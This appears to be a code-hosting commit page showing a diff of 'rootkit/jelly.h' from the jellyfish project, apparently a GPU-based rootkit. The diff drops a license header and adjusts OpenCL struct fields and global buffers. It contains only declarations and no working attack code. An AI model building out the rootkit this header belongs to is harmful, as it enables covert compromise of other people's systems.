Projects STRLCPY jellyfish Commits c5b51412
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■
    rootkit/jelly.h
    1  -/*
    2  -
    3  -Copyright (C) 2015 Team Jellyfish
    4  -
    5  -This program is free software; you can redistribute it and/or
    6  -modify it under the terms of the GNU General Public License
    7  -as published by the Free Software Foundation; either version 2
    8  -of the License, or (at your option) any later version.
    9  -
    10  -This program is distributed in the hope that it will be useful,
    11  -but WITHOUT ANY WARRANTY; without even the implied warranty of
    12  -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    13  -GNU General Public License for more details.
    14  -
    15  -*/
    16  - 
    17 1  #ifndef __JELLY_H__
    18 2  #define __JELLY_H__
    19 3   
    20  -#include "kit.h"
     4 +#include <CL/cl.h>
    21 5   
    22 6  struct jellyfish{
    23 7   cl_context ctx;
    24 8   cl_device_id dev;
    25 9   cl_platform_id platform;
    26  - cl_command_queue cq;
    27 10   cl_program program;
    28  - cl_kernel kernels[8];
     11 + cl_command_queue cq;
     12 + cl_kernel kernels[3];
    29 13  };
    30  - 
    31  -typedef struct jellyfish *jelly;
    32 14   
    33 15  // globals
    34  -char **buffer, **buffer2, **buffer3;
    35  -bool correct_packet = FALSE;
    36  -cl_mem log, output, input, local, group, storage;
     16 +int correct_packet = 0;
     17 +cl_mem logger, output, input, local, group, storage;
    37 18  cl_int err;
    38 19  size_t global_size = 4;
    39 20  size_t local_size = 2;
    40  -size_t global_xor_size = 4;
    41  -size_t local_xor_size = 2;
    42 21   
    43 22  #endif
    44 23   
Please wait...
Page is in error, reload to recover